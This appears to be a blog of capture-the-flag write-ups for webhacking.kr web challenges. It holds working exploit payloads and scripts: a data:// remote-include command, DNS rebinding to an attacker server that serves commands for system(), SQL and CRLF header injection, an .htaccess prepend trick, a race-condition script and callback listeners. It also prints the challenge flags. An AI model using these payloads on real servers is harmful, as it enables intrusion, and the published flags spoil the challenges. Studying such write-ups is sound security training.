Hello Navi

Tech, Security & Personal Notes

Challenge

The page takes a url parameter, appends .txt, and includes it after a stack of URL checks.

页面接收 url 参数,追加 .txt 后经过一串 URL 校验再 include。

1
http://webhacking.kr:10009/

Analysis

?view_source=1 直接给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_GET['view_source']){ highlight_file(__FILE__); exit; }
if($_GET['view_version']){ echo phpversion(); exit; }
if($_GET['ls']){ system("ls -a"); exit; } // to prove for about there is not hidden files in this directory. you dont have to run dirbuster!
if(isset($_GET['url'])){
$url = $_GET['url'].".txt";
if(!filter_var($url, FILTER_VALIDATE_URL)) exit("invalid url");
if(!preg_match("/http:\/\/webhacking.kr:10009\//",$url)) exit("invalid server");
if(preg_match("/@|#|\(|\)|\\$|`|'|\"|_|{|}|\?/",$url)) exit("you are not orange");
if((parse_url($url)['host'] !== "webhacking.kr") || (parse_url($url)['port'] !== 10009)) exit("invalid host or port");
if(parse_url($url)['user'] || parse_url($url)['pass']) exit("you are not orange");
include $url;
}
echo "<hr><a href=./?url=http://webhacking.kr:10009/cat>cat</a> <a href=./?url=http://webhacking.kr:10009/dog>dog</a> <hr><a href=./?view_source=1>view-source</a> <a href=./?view_version=1>view-version</a> <a href=./?ls=1>ls</a>";
?>

页面提供 PHP 版本和目录清单;直接访问 .txt 文件会返回 PHP 源码,通过 url 参数包含同一文件则会执行其中的代码:

1
2
3
4
5
?view_version=1  -> 7.3.8-1+ubuntu18.04.1+deb.sury.org+1
?ls=1 -> . .. cat.txt dog.txt index.php
/cat.txt -> <?php echo "meow meow"; ?>
/dog.txt -> <?php echo "bow wow"; ?>
?url=http://webhacking.kr:10009/cat -> meow meow

meow meow 的回显说明 HTTP stream 可以被 include,即题目环境允许 URL inclusion。校验作用于追加 .txt 后的 $url:

  • filter_var(..., FILTER_VALIDATE_URL) 检查 URL 格式。
  • 第一条正则要求匹配 http://webhacking.kr:10009/,没有锚定字符串开头。
  • 第二条正则禁用 @、#、括号、$、反引号、单双引号、_、花括号和 ?。
  • parse_url() 要求 host 为 webhacking.kr、port 为 10009,且不含 user/pass。

这些检查没有限制 scheme。将 http://webhacking.kr:10009/ 放入 path 仍能满足正则,前面的 authority 则用于通过 parse_url() 检查。最终 include 使用哪个 stream wrapper,由 scheme 决定。

Solution

RFC 2397 定义的 data URL 形式为 data:[<mediatype>][;base64],<data>。PHP 支持 data:// 写法,并接受下面这个包含伪装 authority 的输入:

1
data://webhacking.kr:10009/http://webhacking.kr:10009/,HELLO

追加 .txt 后,filter_var 接受该 URL,第一条正则命中 path 内的 HTTP URL,黑名单没有命中。parse_url() 将其解析为:

1
2
3
4
scheme = data
host = webhacking.kr
port = 10009
path = /http://webhacking.kr:10009/,HELLO.txt

data:// wrapper 将逗号前的部分作为媒体类型信息处理,从逗号后的 data 读取内容,不会向上述 host 发起 HTTP 请求。此时 .txt 已经追加到 data 末尾,所以 include 读取并输出 HELLO.txt。这里利用的是 parse_url() 与 stream wrapper 对同一字符串的不同解释;伪装的 authority 并非 RFC 2397 定义的网络地址。

未使用 ;base64 时,wrapper 会对 data 做一次 URL 解码。将 PHP 代码中的禁用字符写为百分号编码,校验阶段便只会看到 %28、%29、%27、%3F 等文本。请求 query 还会先经过一次解码,因此其中的 % 必须再编码为 %25:%2528 → $_GET['url'] 中的 %28 → wrapper 内容中的 (。

完整 payload 在各阶段的值:

1
2
3
$_GET['url'] = data://webhacking.kr:10009/http://webhacking.kr:10009/,%3C%3Fphp%20system%28%27cat%20/flag%27%29%3B%3F%3E
$url = $_GET['url'] . ".txt"
data 解码后 = <?php system('cat /flag');?>.txt

请求(query 里的 % 再编一次,即 %3C → %253C):

1
2
GET /?url=data%3A%2F%2Fwebhacking.kr%3A10009%2Fhttp%3A%2F%2Fwebhacking.kr%3A10009%2F%2C%253C%253Fphp%2520system%2528%2527cat%2520%2Fflag%2527%2529%253B%253F%253E HTTP/1.1
Host: webhacking.kr:10009

返回:

1
2
FLAG{*****************}
.txt

include 执行解码后的 <?php system('cat /flag');?>,读取 /flag。闭合标签 ?> 使后缀 .txt 位于 PHP 代码之外,作为普通文本输出,因此无需截断后缀。该链依赖 allow_url_fopen 和 allow_url_include 开启,以及 system() 可用。

FLAG{hardcore_from_7.1}

Challenge

The page is a web shell whose front end posts commands to a JSON endpoint.

页面是一个 WebShell,前端把命令发到 JSON endpoint。

1
http://webhacking.kr:10020/

前端脚本把输入发到:

1
fetch("/api.php?q=" + escape(text_));

页面显示提示符 WebShell:/ $,并把响应文本追加到终端。

Analysis

api.php 不直接执行命令,而是先校验 Host,再用 Host 去请求同端口的 /cmd/<q>.txt,最后把该文件的内容当命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$cmd = $_GET['q'];
if($cmd){
if(count(explode(":",$_SERVER['HTTP_HOST'])) > 1) $_SERVER['HTTP_HOST'] = explode(":",$_SERVER['HTTP_HOST'])[0];
if(!preg_match("/^[a-z0-9-.]+$/",$_SERVER['HTTP_HOST'])) exit("ahh nice try");
if(($_SERVER['HTTP_HOST'] !== "webhacking.kr") && (gethostbyname($_SERVER['HTTP_HOST']) !== "202.182.106.159")) exit("Something wrong");
sleep(1);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://{$_SERVER['HTTP_HOST']}:10020/cmd/".rawurlencode($cmd).".txt");
$response = curl_exec($ch);
if(HTTP code !== 200) echo HELP;
else system($response);
}
?>

关键点是 Host 被解析两次:gethostbyname() 解析一次做校验,curl 再解析一次取内容,中间还夹着 sleep(1)。这就是 TOCTOU。

现场实测分支:

1
2
3
4
5
Host: webhacking.kr            -> 走 `!==` 短路,校验通过,curl 请求自己 → 命中 /cmd 白名单
Host: WEBHACKING.KR -> ahh nice try(正则只允许小写)
Host: 127.0.0.1 -> Something wrong
Host: evil.example.com -> Something wrong
Host: 202.182.106.159.nip.io -> 校验通过(目标能解析外部域名并解析到 202.182.106.159)

/cmd/ 目录是预置白名单(ls.txt、cat api.php.txt、cat index.php.txt),?q=cat flag.php 会返回 only "ls", "cat api.php", "cat index.php" allowed。

Solution

链条:让 Host 在校验时解析到 202.182.106.159(目标自己),在 curl 请求时解析到攻击者服务器,从而让 http://<Host>:10020/cmd/<q>.txt 返回任意命令文本,被 system() 执行。

Host 必须匹配 /^[a-z0-9-.]+$/,所以使用符合格式的 DNS rebinding 域名。草稿记录 rbndr.us 在该目标上两种 IP 顺序都返回 Something wrong;1u.ms 的 make-<ip1>-rebind-<ip2>-rr.1u.ms 可用。

攻击者侧是一台公网机器,监听 :10020,对任意 /cmd/<q>.txt 返回要执行的命令文本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from http.server import BaseHTTPRequestHandler, HTTPServer

COMMAND = b'cat flag.php; echo "=== id ==="; id'

class Handler(BaseHTTPRequestHandler):
def do_GET(self):
body = COMMAND
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)

HTTPServer(("0.0.0.0", 10020), Handler).serve_forever()

命令文本:

1
cat flag.php; echo "=== id ==="; id

然后反复请求目标,Host 用 rebinding 域名(<attacker-hex> 是攻击者公网 IP 的十六进制):

1
2
GET /api.php?q=ls HTTP/1.1
Host: make-202.182.106.159-rebind-<attacker-hex>-rr.1u.ms

gethostbyname() 拿到 202.182.106.159 时校验通过,curl 拿到攻击者 IP 时就取回我们的命令文本并执行。返回:

1
2
3
4
5
<?php
$flag = "FLAG{***************************************}";
?>
=== id ===
uid=33(www-data) gid=33(www-data) groups=33(www-data)

即 cat flag.php 读出 flag,并确认以 www-data 身份 RCE。

FLAG{sorry-i-forgor-what-server-name-meaning}

Challenge

The mail form puts subject straight into the mail header.

发信表单把 subject 直接放进邮件头。

1
https://webhacking.kr/challenge/bonus-11/

Analysis

表单只有 subject 一个字段,提交后回显 Mail has been sent;收件人固定 no-existed@webhacking.kr,正文含 flag。subject 未净化即进入邮件头,属 SMTP header injection。

实测:

1
2
3
4
subject=plain             -> Mail has been sent(无 flag)
subject=hi\r\nCc: <addr> -> Mail has been sent + flag
subject=hi\nCc: <addr> -> 无 flag(只认 CRLF)
subject=hi\r\nTo: <addr> -> 无 flag

Solution

在 subject 里用 CRLF 注入 Cc::

1
2
POST /challenge/bonus-11/index.php
subject=hi%0d%0aCc:%20<recipient>

本实例上注入成功后响应体直接带回 flag,不需要真收信:

1
<hr>Mail has been sent<hr>FLAG{wasted_too_much_time_damn}
FLAG{wasted_too_much_time_damn}

Challenge

Understand database connection hijacking through upload configuration.

分析通过上传配置劫持数据库连接的机制。

1
http://webhacking.kr:10003/

Analysis

入口每次请求都会分配一个会话专属目录,并把上传的表单指向它:

1
2
Your personal directory is ./upload/<random>/
./upload/<random>/index.php?view_source=1

该目录里预置的 index.php 源码(实测):

1
2
3
4
5
6
7
8
9
<?php
if($_GET['view_source']) highlight_file(__FILE__);
$db = mysqli_connect() or die();
mysqli_select_db($db,"chall30") or die();
$result = mysqli_fetch_array(mysqli_query($db,"select flag from chall30_answer")) or die();
if($result[0]){
include "/flag";
}
?>

无参数 mysqli_connect() 会读取 mysqli.default_host / default_port / default_user / default_pw。原意是用上传的配置覆盖这些值,把连接指向自建 MySQL,让 chall30_answer.flag 非空,从而走进 include "/flag"。

上传行为实测:内容里的 < 会被剥掉,所以落不了带 PHP 标签的 webshell;.php 会被当 PHP 执行但没标签也没用;.htaccess 能上传成功(直接 GET 是 403)。

Solution

不必自建 MySQL:.htaccess 的 php_value 就能改 PHP 配置,其中 auto_prepend_file 会在目录内每个脚本执行前先包含一个文件。把它指向 /flag,该目录的 index.php 一执行就先把 /flag 的内容打出来,mysqli_connect() 成不成功都不影响。

向入口上传 .htaccess(表单字段 upfile,action=index.php):

1
php_value auto_prepend_file /flag

然后请求会话目录的 index.php:

1
GET /upload/<dir>/index.php  ->  FLAG{uhoh-db-connection-hijacking?}

判据:php_value auto_prepend_file /flag 单独放 .htaccess 即可生效;换成 auto_append_file 不生效(脚本在 mysqli_connect() or die() 处就结束了);把 .htaccess 覆盖成注释后 flag 消失,说明确实是 .htaccess 在起作用。

FLAG{uhoh-db-connection-hijacking?}

Challenge

Bypass the phone-number insert with SQL injection.

通过 SQL injection 绕过电话号码写入。

1
https://webhacking.kr/challenge/web-17/

Analysis

?view_source=1 给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?>
<html><head><title>Challenge 35</title><head><body>
<form method=get action=index.php>
phone : <input name=phone size=11 style=width:200px><input name=id type=hidden value=guest><input type=submit value='add'>
</form>
<?php
$db = dbconnect();
if($_GET['phone'] && $_GET['id']){
if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack");
if(strlen($_GET['id']) > 5) exit("no hack");
if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin");
mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error");
echo "Done<br>";
}
$isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'"));
if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
solve(35);
mysqli_query($db,"delete from chall35");
}
$phone_list = mysqli_query($db,"select * from chall35 where ip='{$_SERVER['REMOTE_ADDR']}'");
echo "<!--\n";
while($r = mysqli_fetch_array($phone_list)){
echo htmlentities($r['id'])." - ".$r['phone']."\n";
}
echo "-->";
?>
<br><a href=?view_source=1>view-source</a></body></html>

phone 直接拼入 VALUES 的第三个字段,外层没有引号。它的过滤规则禁止 * / = select - # ;,但允许单引号、逗号和括号,足以闭合当前元组并追加第二个元组。

GET 参数 id 最多 5 字节,且不能包含 admin(大小写不敏感),因此直接提交 id=admin 会被拒绝。通过 phone 追加的行不经过这项 id 检查。

Solution

保持 id=guest,将 phone 设为 1),('guest2','<REMOTE_ADDR>',1。源码末尾的 ) 补齐第二个元组,拼接后的 SQL 为:

1
insert into chall35(id,ip,phone) values('guest','<REMOTE_ADDR>',1),('guest2','<REMOTE_ADDR>',1)

第二行的 ip 必须与服务端看到的 REMOTE_ADDR 一致。可先将当前请求出口的公网 IP 作为候选值;经过代理或 NAT 时,候选值应取实际出口地址。页面末尾的 HTML 注释仅列出 ip 匹配当前 REMOTE_ADDR 的记录,可以用 guest2 行检查候选值。该探测会写入数据库。

以下为解码后的 query 参数,<candidate-ip> 需替换为候选地址;发送请求时对参数值进行 URL encoding:

1
2
id=guest
phone=1),('guest2','<candidate-ip>',1

历史实测响应中的 HTML 注释为:

1
2
3
4
5
<!--
guest - 1
guest - 1
guest2 - 1
-->

本次插入的 guest2 出现在注释中,说明多值 INSERT 生效,且候选地址与当前请求的 REMOTE_ADDR 匹配。仅返回 Done 只能说明 SQL 执行成功,无法证明地址匹配;若已有同名记录,应换用新的探测标识,避免把旧行当作本次结果。后续请求需保持相同出口地址。

将第二行的 id 改为 admin,并填入已确认的地址:

1
2
id=guest
phone=1),('admin','<REMOTE_ADDR>',1

根据源码,该行会使 select ip from chall35 where id='admin' and ip='<REMOTE_ADDR>' 命中,随后调用 solve(35),再尝试执行 delete from chall35。删除语句没有 WHERE 条件,作用范围是整张表;源码未检查删除是否成功。这里的 admin 只出现在 phone 中,未命中该参数的过滤规则。

Challenge

The page is a web shell whose front end posts commands to a JSON endpoint.

页面是一个 WebShell,前端把命令发到 JSON endpoint。

1
http://webhacking.kr:10019/

前端脚本把输入发到:

1
fetch("/api.php?q=" + escape(text_))

页面显示提示符 WebShell:/ $,并把响应文本追加到终端。

Analysis

api.php 每次都把命令写进按 cookie 命名的脚本文件,而且先写文件、后校验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(!preg_match('/^[a-f0-9]+$/', $_COOKIE['baby_toctou'])){
$newCookie = uniqid().rand(1,999999999);
setcookie("baby_toctou", $newCookie);
$_COOKIE['baby_toctou'] = $newCookie;
}
$cmd = $_GET['q'];
$myfile = fopen("user/{$_COOKIE['baby_toctou']}.sh", "w") or die("Unable to open file!");
fwrite($myfile, $cmd);
fclose($myfile);
if(($cmd === "ls") || ($cmd === "cat api.php") || ($cmd === "cat index.php")){ // valid check
sleep(1); // my server is small and weak
system("sh ./user/{$_COOKIE['baby_toctou']}.sh");
}
else{
echo 'only "ls", "cat api.php", "cat index.php" allowed';
}
?>

fwrite() 在校验之前执行,system() 在校验之后、并且隔着 sleep(1)。这 1 秒就是 TOCTOU 窗口:先发一个通过校验的请求,再在窗口内用同一个 cookie 发第二个被拒绝的请求覆写脚本文件,第一个请求醒来后执行的是第二个请求写进去的内容。

cookie 只需要满足 /^[a-f0-9]+$/,所以可以自己指定一个纯十六进制值固定住文件名,不必等 setcookie 分配。

Solution

两个请求必须共用同一个 baby_toctou cookie:第一个是校验通过的 q=ls,第二个在窗口内写 payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
import threading
import time

import requests

URL = "http://webhacking.kr:10019/api.php"
COOKIES = {"baby_toctou": "abc123abc123abc"}
PAYLOAD = "cat flag.php"

result = {}


def checked_request() -> None:
"""校验通过的那一发:写 ls、睡 1 秒、然后执行 user/<cookie>.sh。"""
response = requests.get(URL, params={"q": "ls"}, cookies=COOKIES, timeout=25)
result["out"] = response.text


def main() -> None:
worker = threading.Thread(target=checked_request)
worker.start()
time.sleep(0.25) # 落在 sleep(1) 窗口内
requests.get(URL, params={"q": PAYLOAD}, cookies=COOKIES, timeout=25)
worker.join()
print(result["out"])


if __name__ == "__main__":
main()

q=ls 那一发的响应里,system() 的输出已经被换成了 payload 的执行结果:

1
2
3
<?php
$flag = "FLAG{Mama_i_know_how_toctou_works}";
?>

payload 请求的响应是 only "ls", "cat api.php", "cat index.php" allowed,因为该请求只覆写文件,不执行命令。

复现边界:api.php 源码、白名单、写文件顺序、sleep(1) 窗口与 flag 均为现网实测;窗口是 1 秒,本机到该节点延迟约 40 ms,0.25 秒偏移一次命中,网络抖动时可在 0.1–0.6 秒之间重试。

FLAG{Mama_i_know_how_toctou_works}

Challenge

The page collects nine KEY{<32-hex>} values and renders a flag image.

页面收集九个 KEY{<32-hex>} 值,并渲染一张 flag 图片。

1
http://webhacking.kr:10022/

页面标题是 Get 4XX for flag,表单字段为 key1 到 key9,每个字段的客户端 pattern 是 KEY\{([0-9]|[a-f]){32}\},页面引用 /img/flag.png。9 个 key 全部正确时表单返回 Your score : 9,并打印 FLAG is flag{<value>};提交顺序不影响计分(正序与逆序都是 9 分)。

Solution

key 由 HTTP 4xx 状态码发放:任何让 Apache 返回 4xx 的请求都会在响应体里给出该状态码对应的 key,格式是 4XX Error!<br> your key : <key-value>。同一状态码的 key 固定不变,所以凑齐 9 个不同的 4xx 状态码就能得到全部 9 个 key。

实测的状态码、触发请求与对应 key:

  • 400:发送包含 9 KB X-Big 请求头的请求,得到 KEY{10fac9b9f4112a1d9a650fec275bf164}。
  • 403:访问禁止列目录的 /img/,得到 KEY{cd79de80772c1873bcf63e41e3379c6f}。
  • 404:访问不存在的路径,得到 KEY{23c0b3a9ccc44b72f17a99eadb351d2f}。
  • 405:发送 TRACE /,得到 KEY{e5602408f2037c05bbbb0995fec6bc58}。
  • 408:发送请求行和 Host 后保持连接,不补完请求头,得到 KEY{e44fa3e1865a3839cbc0b658f1ae08cf}。
  • 412:请求静态文件 /img/flag.png 并设置 If-Match: "nope",得到 KEY{cd7609461c0dbe41a9137056fa4085e2}。
  • 414:发送约 30 KB 的超长请求路径,得到 KEY{d1617527ac2143863bc347c6123ed921}。
  • 416:设置 Range: bytes=999999999-,得到 KEY{622eced9aa42670c10ee74d29e58e5eb}。
  • 417:发送 POST / 并设置 Expect: foo,得到 KEY{ed2dd6cb38fe6a4a10e46d22d20047e6}。

Apache 负责生成这些 4xx 响应。405 需要使用不被允许的 method。412 依赖带 ETag 的静态文件;对 / 设置 If-Match 返回 200。417 要求 Expect 值不是 100-continue,后者会返回 100 Continue 并继续正常请求。408 需要原始 socket 在发送部分请求头后保持连接。Apache 2.4.29 对超长 header 返回 400,不产生 431。

收集脚本(原始 socket,因为 408 需要在发完部分请求头后等待):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3
import re
import socket

HOST, PORT = "webhacking.kr", 10022
H = b"Host: webhacking.kr:10022\r\n"

REQUESTS = {
400: b"GET / HTTP/1.1\r\n" + H + b"X-Big: " + b"A" * 9000 + b"\r\n\r\n",
403: b"GET /img/ HTTP/1.1\r\n" + H + b"\r\n",
404: b"GET /definitely-not-here HTTP/1.1\r\n" + H + b"\r\n",
405: b"TRACE / HTTP/1.1\r\n" + H + b"\r\n",
408: b"GET / HTTP/1.1\r\n" + H, # 不补完请求头
412: b"GET /img/flag.png HTTP/1.1\r\n" + H + b'If-Match: "nope"\r\n\r\n',
414: b"GET /" + b"a" * 30000 + b" HTTP/1.1\r\n" + H + b"\r\n",
416: b"GET / HTTP/1.1\r\n" + H + b"Range: bytes=999999999-\r\n\r\n",
417: b"POST / HTTP/1.1\r\n" + H + b"Content-Length: 5\r\nExpect: foo\r\n\r\n",
}


def fetch(status: int, raw: bytes, wait: float = 4.0) -> str:
sock = socket.create_connection((HOST, PORT), timeout=wait + 8)
sock.sendall(raw)
sock.settimeout(wait)
data = b""
try:
while len(data) < 8000:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
except socket.timeout:
pass
sock.close()
body = data.decode("utf-8", "replace")
match = re.search(r"KEY\{[0-9a-f]{32}\}", body)
if not match:
raise RuntimeError(f"{status}: no key in response")
return match.group(0)


def main() -> None:
keys = {status: fetch(status, raw) for status, raw in REQUESTS.items()}
for status, key in sorted(keys.items()):
print(status, key)
query = "&".join(f"key{i}={key}" for i, key in enumerate(keys.values(), 1))
print(f"http://webhacking.kr:10022/?{query}")


if __name__ == "__main__":
main()

复现边界:入口、9 个状态码、9 个 key 值、Your score : 9 与 flag 回执均为现网实测;408 依赖服务端超时、412 依赖静态文件的 ETag,若实例的 Apache 配置变化需重新确认触发方式。

flag{iViZGYM7K5I}

Challenge

Redirect the flag-bearing request from the server to a listener under your control.

将携带 flag 的服务端请求重定向到可控的监听端点。

1
https://webhacking.kr/challenge/web-18/

Solution

服务端先创建 tmp/tmp-<time>,写入 127.0.0.1,再根据上传文件名创建同名文件并写入客户端地址。随后服务端从 tmp/tmp-<time> 读取 host,并把 flag 放入请求路径发送到该 host 的 7777 端口。

上传文件名需要与服务端当前秒生成的 tmp/tmp-<time> 对齐,覆盖发生在服务端读取 host 之前。上传请求和监听器应使用同一公网可达地址;监听 7777 后,接收到的请求路径包含 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
import time

import requests

URL = "https://webhacking.kr/challenge/web-18/"
COOKIE = "<mission-cookie>"


def main() -> None:
session = requests.Session()
session.cookies.set("PHPSESSID", COOKIE)
timestamp = int(time.time())

# 服务端按秒生成 tmp/tmp-<time>,尝试当前秒及相邻秒。
# 上传文件的内容无关紧要;服务端把请求方的 REMOTE_ADDR 写入该文件。
for offset in range(-2, 4):
filename = f"tmp-{timestamp + offset}"
response = session.post(
URL,
files={"upfile": (filename, b"probe", "application/octet-stream")},
timeout=10,
)
response.raise_for_status()


if __name__ == "__main__":
main()

题目服务端不会读取上传内容,而是把它看到的 REMOTE_ADDR 写入临时文件。因此监听端点必须是题目服务端可访问的地址;常见做法是在路由器上把公网 7777 端口转发到本机,并从公网可达环境发起请求。仅在本机监听 127.0.0.1:7777 不足以完成利用。

1
$ nc -nvlp 7777

Host 头取自服务端读取的临时文件,flag 位于请求路径中。

FLAG{well...is_it_funny?_i_dont_think_so...}

Challenge

Receive the callback sent to one port in the range 10000–10100.

接收服务端发送到 10000–10100 端口范围内某个端口的回连请求。

1
https://webhacking.kr/challenge/web-16/

Solution

题目服务端会在 10000 到 10100 之间选择端口,并尝试连接 server 参数指定的主机。当前 live source 明确要求访问 ?server=<listener-host>;只刷新无参数 URL 只会得到 Undefined index: server,不会触发有效回连。

题目会从 10000–10100 中选择一个端口,因此监听端点需要同时占用整个范围。下面的脚本只负责监听授权题目产生的回连,不主动向题目服务发起额外请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
import socket
import threading

HOST = "0.0.0.0"
PORT_START = 10000
PORT_END = 10100


def listen(port: int) -> None:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server.bind((HOST, port))
server.listen(1)
client, address = server.accept()
with client:
data = client.recv(4096)
print(f"port={port} peer={address}")
print(data.decode("utf-8", errors="replace"))
except OSError as exc:
print(f"port={port} error={exc}")
finally:
server.close()


def main() -> None:
threads = []
for port in range(PORT_START, PORT_END + 1):
thread = threading.Thread(target=listen, args=(port,), daemon=True)
thread.start()
threads.append(thread)

for thread in threads:
thread.join()


if __name__ == "__main__":
main()

监听整个端口范围后,在浏览器或 HTTP 客户端访问 ?server=<listener-host>。<listener-host> 必须是题目服务器可以连接到的地址。回连请求的路径包含题目 flag

FLAG{i_have_a_big_and_beautiful_server}

Challenge

EN : It is hacking challenge. do "hack", do NOT request access.

这是道 hack 题,需要自己动手,不要申请访问权限。

1
https://docs.google.com/spreadsheets/d/1uCpV_9NriUEwD8ZPqPVsU02n6Hg9JitGZPinbRmmL4I/edit?usp=sharing

题目是一张公开只读的 Google 表格。A1 显示 FLAG{?????????????},flag 的中间部分被问号替换,A3 是上面那句题面。原值存放在另一张不可访问的表格里,需要取到掩码之前的字符串。

Solution

A1 里是一个公式,选中单元格即可在公式栏读到全文:

1
=REPLACE(IMPORTRANGE("https://docs.google.com/spreadsheets/d/1x7b8Wwp3jJAr6sgEG8RmuZOh-d7gpSmYvH9tmXWDq_c/edit","A1"),6,19,REPT("?",19-6))

公式分三层:

  • IMPORTRANGE(源表格, "A1") 取另一张表格 A1 的值,源表格 ID 为 1x7b8Wwp3jJAr6sgEG8RmuZOh-d7gpSmYvH9tmXWDq_c。
  • REPLACE(text, 6, 19, 替换文本) 从第 6 位起删掉 19 个字符,再插入替换文本。
  • REPT("?", 19-6) 生成 13 个问号,替换文本比被删掉的 19 个字符短 6 个字符,页面上的结果因此是 FLAG{?????????????}。

源表格无法直接读取:/edit、/htmlview、/preview、/pubhtml、/gviz/tq、/export?format=csv 均返回 401,drive.google.com/uc?id=<源表格 ID>&export=download 落到 Google 登录页。公开表格自身的 /gviz/tq?tqx=out:csv 同样只返回掩码后的单元格,常规导出无法得到原值。

掩码由表格自己计算,但 IMPORTRANGE 属于外部数据,表格客户端会单独取一次导入结果。在浏览器中打开表格,开发者工具 Network 面板过滤 fetchData,可以看到一条 POST 请求:

1
https://docs.google.com/spreadsheets/d/1uCpV_9NriUEwD8ZPqPVsU02n6Hg9JitGZPinbRmmL4I/externaldata/fetchData?id=<表格 ID>&rpwf=a&sid=<sid>&vc=0&c=0&w=0&flr=0&smv=2147483647&smb=<smb>&token=<token>&ouid=<ouid>&includes_info_params=true&usp=sharing&cros_files=false&nded=false

响应体以 )]}' 开头,是一行 JSON:键为依赖标识 {1=4,7={1=44#<源表格 ID>,2=2#A1}},值为导入范围的数据,原值以转义引号包住的形式出现在其中。

1
[1,1,null,null,null,null,null,null,null,null,[[[6,[null,null,null,[1,[[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[500,[[null,null,null,[[\"FLAG{now_i_pwned_googl3?}\"],0],1]]]]]],[]]]]]]

该请求带 token、sid 等会话参数,且只接受 POST;脱离浏览器会话重放无法取得响应数据(实测返回 400),复现需要在浏览器中观察这次加载。

恢复出的原值即题目 flag,提交到 Auth 页面即可。

FLAG{now_i_pwned_googl3?}